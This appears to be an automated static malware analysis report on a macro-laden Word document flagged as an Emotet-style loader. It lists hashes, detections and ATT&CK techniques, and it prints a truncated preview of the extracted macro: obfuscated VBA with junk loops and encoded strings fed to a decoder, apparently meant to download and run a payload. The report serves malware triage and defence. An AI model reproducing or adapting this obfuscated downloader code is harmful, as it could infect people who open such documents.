Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 204fb1269e164b7c…

MALICIOUS

Office (OLE)

204.0 KB Created: 2018-03-20 21:00:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: 179ee294d5a0595520ff3987b3cb6b42 SHA-1: 24bc4edfbd2737d460088b22f2b36406064eaf16 SHA-256: 204fb1269e164b7c821d09d5628c2bc4563c7c90ecdea33ebb0c8729e1b8b166
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro that utilizes CreateObject to likely download and execute a second-stage payload. The ClamAV detection 'Doc.Malware.Emodldr-10025032-0' further supports its malicious nature. The VBA script itself is heavily obfuscated, making a precise analysis of its execution flow difficult, but the presence of auto-execution and CreateObject calls strongly indicates a downloader or dropper functionality.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 51398 bytes
SHA-256: 301d47da9e5314e8a77287ddd34b7dadd34f954ce4d4c6a41fa6b600d5d1fecd
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 19 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "dmunmqjknpV"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "RUWiFYXEMwzLr"
Function OviPkNLHLB()
On Error Resume Next
For pbwJk = QRcjJ To fBXNh
 qIZjOS = wwhQhq * Int(LklVI / CDate(lvfGD) / 27770 - Atn(83855)) + (53843 + Sin(iDLFB) * UAINda - Int(76210) + 50948 / AutrDv / CFIsu + SdzbGY)
Next
wCXnp = IihAP("MWKckBwNAEGA1AANAUGA1AAOAYGA5AwMAQDAkBwNAMGA4AwNAQDAlBwNAgDAjBgYAYDAiBgYAADA2AQOAIDAzAQYAYDAlBQYAcDAjBQZAEDA1AgYAEGAzAAOAcDA4AAZAUDAiBgNAIGA4AQMAADA2AQZAIDAiBAMAYGAyAgYAccj", 3 + 0, 166 + 0)
For dEcpS = jcHiww To wFJVz
 cSBGw = ErhfN * Int(UPJFw / CDate(DZMLn) / 89526 - Atn(50784)) + (19519 + Sin(YjNTib) * vwcwfj - Int(27203) + 99939 / wucdj / rJrRa + RiGjm)
Next
For GowovN = sXSlX To fPjmN
 TRBpa = aHIfLp * Int(bfiSlR / CDate(DzXME) / 79405 - Atn(85330)) + (35559 + Sin(rwHrL) * KEwVM - Int(39885) + 12912 / NLcww / zwzUFN + tollj)
Next
EMtOFcn = IihAP("p@6AiBgZAIDA1AgYAgDA4AgMAgDA1AgMAADAyAwMAMGAxAQOAMDAzAAMAEGAkBwMAYGAmBANAADA3AAOAIGA0AgNAcDAzAAMAcDAlBwNAUDA1AgZAADAxAQNAIDAwAAMAUDA2AwNDX6bJ", 6 + 0, 133 + 0)
For uQiEw = XVdTPF To zjKAbr
 bPvwnl = iRQMkd * Int(MAiHd / CDate(YVUci) / 28767 - Atn(32852)) + (30865 + Sin(inJumj) * VkQMdo - Int(6736) + 24958 / fbbkj / twUXFv + QYUis)
Next
For Qsizc = tFFGMs To oDMZJ
 BZLDIi = qSfBik * Int(aPpMT / CDate(TGWVsM) / 10294 - Atn(52791)) + (17334 + Sin(EntGb) * FoVTdw - Int(52098) + 50690 / YcTmZ / zFKUv + qKwYX)
Next
zRnzKOWGzbJ = IihAP("oiKEtotAAMAIDAxAQZAYGA2AANAEGAyAgZAIGAiBgZAEGAxAgMAIGA3AgMAQGAjBgZAIGA25", 2 + 0, 64 + 0)
For zaOpdz = JArAVX To wRUjmp
 GFhilj = PdZuGP * Int(zpjzVu / CDate(MIFpz) / 29693 - Atn(12990)) + (47587 + Sin(MmhztV) * GrQLtX - Int(33479) + 11299 / IDwbk / QvTtwb + oRZqnN)
Next
For izwLaf = UdvDuW To CTNFD
 MOuZFP = wSajBO * Int(PkmZK / CDate(olaRz) / 22468 - Atn(50360)) + (19324 + Sin(TnduG) * QCYGLA - Int(92664) + 3886 / MCfAt / hovuw + ncatpU)
Next
zVStFYwi = IihAP("5ZqYAUDAyAwYAQGA.icG", 5 + 0, 13 + 0)
For wmFHIq = iNSzHs To XFzfZQ
 lzizJE = ZwMWjA * Int(QHuXK / CDate(kUVwnE) / 85837 - Atn(30400)) + (46029 + Sin(NPELMn) * HwmWI - Int(28246) + 11015 / bsfHzC / PVARd + MFLMBV)
Next
For Ikmjz = tBbGj To MOHauK
 VEtkF = DTokbZ * Int(jYzHr / CDate(WdzdW) / 13458 - Atn(74989)) + (28618 + Sin(kEicTu) * ROAjjt - Int(99820) + 9993 / AjROo / ziion + aXdSk)
Next
zGobmmJnk = IihAP("4v7QNAcDA4AgYAIDAkBQZAMDA2AwYAIGA1AAMAEGAjBQYAcDAwAQNAEDAiBAMAEDA2AQYAkDAwAAMAEDAkBwYAEDAxAQNAIGcjuw8gHgjvdDDvnk", 6 + 0, 93 + 0)
For jkBwF = tHkHK To cdtMVa
 AIVEz = fHTqqW * Int(znPUP / CDate(awUhd) / 84146 - Atn(46609)) + (13644 + Sin(JcNBD) * jzOfCE - Int(51399) + 25376 / Qulwco / ZzUzZ + brNbnT)
Next
For KEjQKP = aJLNv To zDkAdi
 zqHWb = iTDqWS * Int(jvLNv / CDate(OMLXj) / 13122 - Atn(29724)) + (99553 + Sin(kLSwAI) * UwKpcl - Int(83836) + 45095 / pucwD / XETUwl + aPLjA)
Next
owENPO = IihAP("9IAUDA1AA7O8B", 5 + 0, 7 + 0)
For rXZSKz = ODGhcV To EqMnDZ
 oOdfJw = Vudsk * Int(fuQcR / CDate(ciTzlr) / 57407 - Atn(95051)) + (30015 + Sin(DYfarD) * wmBAa - Int(85514) + 17940 / osMIJa / VEzNVQ + nfzklr)
Next
For XwUhC = wJKGq To itWoC
 njrEJ = kwTwa * Int(uDwZA / CDate(SzjVs) / 10367 - Atn(63246)) + (79044 + Sin(zAwaj) * KTBKT - Int(78479) + 19405 / FEAjlL / PEsSWD + RomXUE)
Next
iGjVOqKwczu = IihAP("kqbiBQZAMDAxAQOAEGAjBANAwHA9AQPAEFARBQVAIGAvBgWAIGAhBARAEDANBwLAADA5AQOAQGArBgUAQHA3BgZAIDA8BgM5435a05061b3143240f3476111d29467'( ,' '  LaItNEDeRcSp.NoitAmoTuA.pA5,", 5 + 0, 157 + 0)
For wUXtKk = uOhOIC To RsVvdS
 vFIJKj = NYwUF * Int(Ijdpb / CDate(EUqLEO) / 1269 - Atn(92855)) + (1060 + Sin(QcrlAA) * OkzAh - Int(64839) + 81932 / uCrVhP / TBOPFu + vJnBR)
Next
For PfHpw = FpAzf To FdlGA
 zKGMA = pMBFX * Int(bFNuXQ / CDate(XCnKv) / 24748 - Atn(88186)) + (83582 + Sin(CPsWM) * izKDfB - Int(99935) + 73241 / ASCVZ / LGUndI + zKzGO)
Next
DzQJtiCG = IihAP("rz%rmBAZAADAlBQYAkDAyAwMAUGAmBQMAQDA2AgZAYDAmBQZ
... (truncated)

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